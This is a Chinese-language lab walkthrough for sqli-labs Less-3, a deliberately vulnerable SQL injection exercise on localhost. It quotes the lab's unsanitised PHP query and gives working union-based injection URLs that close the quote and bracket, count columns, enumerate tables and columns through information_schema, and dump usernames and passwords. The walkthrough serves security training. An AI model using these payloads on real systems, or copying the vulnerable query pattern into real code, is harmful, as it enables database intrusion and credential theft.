前言
提示:基于错误,单引号,字符型注入,与前两关不同的是需要闭合括号
1、测试是否存在注入点
http://localhost/sqli-labs/Less-3?id=1'
源码
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row){
echo 'Your Login name:'. $row['username'];
echo 'Your Password:' .$row['password'];
}else{
print_r(mysql_error());
}
我们在查询时需要将单引号
和括号
进行闭合
$sql=“SELECT * FROM users WHERE id=(‘1’) and 1=1 – +’) LIMIT 0,1”;
http://localhost/sqli-labs/Less-3?id=1') and 1=1 -- +
http://localhost/sqli-labs/Less-3?id=1') and 1=2 -- +
由以上操作可知存在SQL注入。
2、判断字段数
http://localhost/sqli-labs/Less-3?id=1') order by 4 -- +
http://localhost/sqli-labs/Less-3?id=1') order by 3 -- +
3、查看回显点
http://localhost/sqli-labs/Less-3?id=-1') union select 1,2,3 -- +
2,3位置为回显位,将我们要查询的参数替换到2/3位置,就可以看到对应的查询结果。
4、联合查询
1)查看当前用户和当前数据库名:
http://localhost/sqli-labs/Less-3?id=-1') union select 1,user(),database() -- +
2)查看当前库所有表名:
http://localhost/sqli-labs/Less-3?id=-1') union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema="security") -- +
3)查看users表中的列名:
http://localhost/sqli-labs/Less-3?id=-1') union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users") -- +
4)查看用户名和密码:
http://localhost/sqli-labs/Less-3?id=-1') union select 1,2,(select group_concat(concat_ws(" ",username,password)) from security.users) -- +
先将查询出来的用户名和密码以空格链接,这样在用group_concat连接后更容易分辨出用户名个密码。